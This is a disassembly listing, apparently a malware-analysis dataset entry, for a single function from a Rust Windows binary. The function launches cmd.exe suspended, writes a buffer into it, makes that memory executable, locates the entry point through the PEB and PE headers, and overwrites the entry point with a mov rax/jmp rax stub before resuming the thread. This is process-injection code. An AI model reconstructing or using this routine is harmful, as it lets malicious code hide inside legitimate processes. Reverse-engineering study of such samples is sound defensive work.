Function at 0x405c18
Capabilities:
Create process on windows
Parse pe header
Resume thread

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x338
movaps xmmword [rsp + 0x320], xmm6
mov rsi, r8
mov rbx, rdx
mov r14, rcx
cmp qword [r8 + 0x10], 0
je 0x405d19
lea r15, [rsp + 0x170]
mov qword [r15], rsi
lea rax, str.C:WindowsSystem32cmd.exe
lea rdx, [rsp + 0x1e0]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 2
and qword [rdx], 0
lea rax, [0x00402b5b]
mov qword [r15 + 8], rax
mov qword [rdx + 0x20], r15
mov qword [rdx + 0x28], 1
lea rdi, [rsp + 0x80]
mov rcx, rdi
call fcn.00402642
mov rax, qword [rdi + 0x10]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
and qword [rsp + 0x60], 0
and qword [r15 + 0x60], 0
movaps xmmword [r15 + 0x30], xmm0
movaps xmmword [r15 + 0x40], xmm0
movaps xmmword [r15 + 0x50], xmm0
movaps xmmword [r15 + 0x20], xmm0
movaps xmmword [r15 + 0x10], xmm0
movaps xmmword [r15], xmm0
mov dword [r15 + 0x3c], 0x104
mov word [r15 + 0x40], 1
test rax, rax
je 0x405d93
mov rdx, qword [rsp + 0x88]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r15
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rcx, [0x004d19d0]
jmp 0x405dc8
and qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 1
and qword [rsp + 0x90], 0
xorps xmm0, xmm0
and qword [rsp + 0x60], 0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmmword [rsp + 0x190], xmm0
and qword [rsp + 0x1d0], 0
movaps xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x170], xmm0
mov dword [rsp + 0x1ac], 0x104
mov word [rsp + 0x1b0], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rcx, [0x004d19d0]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
je 0x406175
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r8, rbx
mov r9d, 0x3000
call sub.KERNEL32.dll_VirtualAllocEx
test rax, rax
je 0x4061d1
mov rdi, rax
mov rcx, qword [rsp + 0x50]
and qword [rsp + 0x20], 0
mov rdx, rax
mov r8, r14
mov r9, rbx
call sub.KERNEL32.dll_WriteProcessMemory
test eax, eax
je 0x40622d
lea rax, [rsp + 0xe8]
mov dword [rax], 4
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov r8, rbx
mov r9d, 0x20
call sub.KERNEL32.dll_VirtualProtectEx
test eax, eax
je 0x406289
xorps xmm6, xmm6
lea r8, [rsp + 0x2f0]
movaps xmmword [r8 + 0x20], xmm6
movaps xmmword [r8 + 0x10], xmm6
movaps xmmword [r8], xmm6
mov rcx, qword [rsp + 0x50]
and qword [rsp + 0x20], 0
xor edx, edx
mov r9d, 0x30
call sub.ntdll.dll_NtQueryInformationProcess
test eax, eax
jne 0x4062e5
lea r14, [rsp + 0x50]
mov qword [rsp + 0xb0], r14
lea r15, [rsp + 0xf0]
movaps xmmword [r15], xmm6
and qword [r15 + 0x10], 0
mov rdx, qword [rsp + 0x2f8]
mov r9d, 0x18
mov rcx, r14
mov r8, r15
call fcn.00406590
lea rbx, [rsp + 0x130]
movaps xmmword [rbx + 0x30], xmm6
movaps xmmword [rbx + 0x20], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx], xmm6
mov rdx, qword [r15 + 0x10]
mov r9d, 0x40
mov rcx, r14
mov r8, rbx
call fcn.00406590
cmp word [rbx], 0x5a4d
jne 0x406341
lea r14, [rsp + 0xec]
and dword [r14], 0
movsxd rdx, dword [rsp + 0x16c]
add rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x50]
mov r9d, 4
mov r8, r14
call fcn.00406590
cmp dword [r14], 0x4550
jne 0x40637c
lea r12, [rsp + 0x100]
xorps xmm0, xmm0
lea r15, [rsp + 0x2d0]
and dword [r15 + 0x10], 0
movaps xmmword [r15], xmm0
mov rax, qword [r12]
movsxd rcx, dword [rsp + 0x16c]
lea rdx, [rax + rcx]
add rdx, 4
lea rcx, [rsp + 0x50]
mov r9d, 0x14
mov r8, r15
call fcn.00406590
and qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 1
and qword [rsp + 0xa8], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], r12
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x120], r14
mov qword [rsp + 0x128], r15
movzx eax, word [r15]
cmp eax, 0x14c
je 0x40602d
cmp eax, 0x8664
jne 0x406518
lea rbx, [rsp + 0x1e0]
mov r8d, 0xf0
mov rcx, rbx
xor edx, edx
call sub.ntdll.dll_memset
lea rcx, [rsp + 0x108]
mov r8d, 0xf0
mov rdx, rbx
call fcn.00406600
mov ebx, dword [rbx + 0x10]
add rbx, qword [rsp + 0x100]
lea r14, [rsp + 0x98]
mov rcx, r14
mov dl, 0x48
call fcn.00402a3b
jmp 0x40606e
lea rbx, [rsp + 0x1e0]
mov r8d, 0xe0
mov rcx, rbx
xor edx, edx
call sub.ntdll.dll_memset
lea rcx, [rsp + 0x108]
mov r8d, 0xe0
mov rdx, rbx
call fcn.00406600
mov ebx, dword [rbx + 0x10]
add rbx, qword [rsp + 0x100]
lea r14, [rsp + 0x98]
mov rcx, r14
mov dl, 0xb8
call fcn.00402a3b
mov ecx, 8
call fcn.0043a38b
lea r15, [rsp + 0xb8]
mov qword [r15], rax
mov qword [r15 + 8], rdx
mov qword [rdx], rdi
mov qword [r15 + 0x10], 8
mov rcx, r14
mov rdx, r15
call fcn.00402a70
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
call fcn.004ccf61
lea r14, [rsp + 0x98]
mov rcx, r14
mov dl, 0xff
call fcn.00402a3b
mov rcx, r14
mov dl, 0xe0
call fcn.00402a3b
mov rcx, qword [rsp + 0x50]
mov rdi, qword [r14 + 8]
mov r9, qword [r14 + 0x10]
and qword [rsp + 0x20], 0
mov rdx, rbx
mov r8, rdi
call sub.KERNEL32.dll_WriteProcessMemory
test eax, eax
je 0x4063b7
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_ResumeThread
test eax, eax
je 0x406410
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_CloseHandle
test eax, eax
je 0x406469
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_CloseHandle
test eax, eax
je 0x4064c2
mov rcx, qword [rsp + 0x98]
mov rdx, rdi
call fcn.004ccf61
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.004ccf61
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.004ccf61
movaps xmm6, xmmword [rsp + 0x320]
add rsp, 0x338
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0xb8]
mov dword [rcx], eax
lea rax, [rsp + 0x130]
mov qword [rax], rcx
lea rdx, str.___CreateProcessA_failed:
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1a68]
jmp 0x406589
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0xb8]
mov dword [rcx], eax
lea rax, [rsp + 0x130]
mov qword [rax], rcx
lea rdx, str.___VirtualAllocEx_failed:
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1ac0]
jmp 0x406589
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0xb8]
mov dword [rcx], eax
lea rax, [rsp + 0x130]
mov qword [rax], rcx
lea rdx, str.___WriteProcessMemory_failed:
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1b18]
jmp 0x406589
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0xb8]
mov dword [rcx], eax
lea rax, [rsp + 0x130]
mov qword [rax], rcx
lea rdx, str.___VirtualProtectEx_failed:
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1b70]
jmp 0x406589
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0xb8]
mov dword [rcx], eax
lea rax, [rsp + 0x130]
mov qword [rax], rcx
lea rdx, str.___NtQueryInformationProcess_failed:
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1bd0]
jmp 0x406589
lea rax, str.___DOS_image_header_magic_was_not_0x5a4d_
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, [0x004d1c28]
jmp 0x406589
lea rax, str.___PE_Signature_was_not_0x4550
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
and qword [rcx], 0
lea rax, str._rustc_90c541806f23a127002de5b4038be731ba1458calibrarycore_src_sync_atomic.rsthere_is_no_such_thing_as_an_acquire_release_store
mov qword [rcx + 0x20], rax
and qword [rcx + 0x28], 0
lea rdx, [0x004d1c70]
jmp 0x406589
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0x70]
mov dword [rcx], eax
lea rax, [rsp + 0xb8]
mov qword [rax], rcx
lea rdx, str.___WriteProcessMemory_failed:
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1ce8]
jmp 0x406589
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0x70]
mov dword [rcx], eax
lea rax, [rsp + 0xb8]
mov qword [rax], rcx
lea rdx, str.___ResumeThread_failed:_h
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1da0]
jmp 0x406589
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0x70]
mov dword [rcx], eax
lea rax, [rsp + 0xb8]
mov qword [rax], rcx
lea rdx, str.___CloseHandle_failed:
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1d38]
jmp 0x406589
call sub.KERNEL32.dll_GetLastError
lea rcx, [rsp + 0x70]
mov dword [rcx], eax
lea rax, [rsp + 0xb8]
mov qword [rax], rcx
lea rdx, str.___CloseHandle_failed:
lea rcx, [rsp + 0x1e0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 2
and qword [rcx], 0
lea rdx, [0x00414b50]
mov qword [rax + 8], rdx
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 1
lea rdx, [0x004d1d50]
jmp 0x406589
lea rax, [rsp + 0x70]
mov qword [rax], r15
lea rcx, [fcn.004126d0]
mov qword [rax + 8], rcx
mov ecx, 2
lea rdx, [rsp + 0x1e0]
mov qword [rdx], rcx
mov qword [rdx + 0x10], rcx
movabs rcx, 0x2000000004
mov qword [rdx + 0x20], rcx
mov byte [rdx + 0x28], 3
and qword [rdx + 0x30], 0
lea r8, str.___Unknow_IMAGE_OPTIONAL_HEADER_type_for_machine_type:
lea rcx, [rsp + 0xb8]
mov qword [rcx + 0x10], r8
mov r8d, 1
mov qword [rcx + 0x18], r8
mov qword [rcx], rdx
mov qword [rcx + 8], r8
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], r8
lea rdx, [0x004d1cd0]
call fcn.00411160
ud2